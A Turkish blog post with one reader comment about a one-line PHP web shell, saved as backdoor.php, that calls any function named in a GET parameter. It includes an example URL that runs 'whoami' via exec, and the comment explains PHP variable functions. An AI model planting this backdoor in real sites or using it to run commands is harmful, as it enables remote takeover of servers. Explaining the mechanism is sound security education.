Birkaç yıl önce Genius‘un sayesinde haberdar olduğum aşağıdaki kod hala daha (v7.2.x) çalışmakta. İlginç yanı short_tags etkin olmasa dahi çalışıyor. Daha ilginci ve hakkkında pek bilgi bulamadığım kısmı ise dinamik olarak yaratılan ve veri (data) olarak ele alınması gereken bir yapının PHP tarafından bir metod (function) olarak değerlendirilmesi ve çalıştırılması.

PHP kodu:

<?=$_GET['z']($_GET['x']);

URL isteği:

http://localhost/dev/backdoor.php?z=exec&x=whoami

Sonuç:

short_open_tags kullanımı betik dillerde yaygın bir durum. Aşağıdaki görselden kullanımı görebilirsiniz.

Lakin dinamik olarak sunulan bir verinin PHP tarafından icra ediliyor olması gerçekten ilginç bir durum. Dökümantasyonda bu durum ile ilgili bir bilgi bulamadım. Bir bug’dan ziyade feature olduğunu düşünmek istiyorum. Bu konuda bilgisi olanlar aşağıya yorum yazarsa mutlu olurum.

1 YORUM

  1. Merhaba. Bu durum aslında PHP’deki “variable functions” kavramından dolayı meydana gelmekte. Bir değişkenin sonuna ayraç işareti geldiği zaman önce PHP bu değişkenin içeriğini bir fonksiyon olarak değerlendirir ve sonra bunu çalıştırmaya çalışır. Fakat sadece fonksiyonlar çağrılır tıpkı exec() gibi. Sanıldığının aksine eval() ve exit() fonksiyon değil “language construct” olduğu için bu örnekte bunları çalıştıramıyoruz -neyse ki-. $_GET bir süperglobal değişken olduğu için, PHP kullanıcıdan gelen bir input’u fonksiyon olarak çalıştırabiliyor. Bunun önlemini almak için kullandığımız ayraçlara dikkat etmemiz gerekiyor :)

CEVAP VER

This site uses Akismet to reduce spam. Learn how your comment data is processed.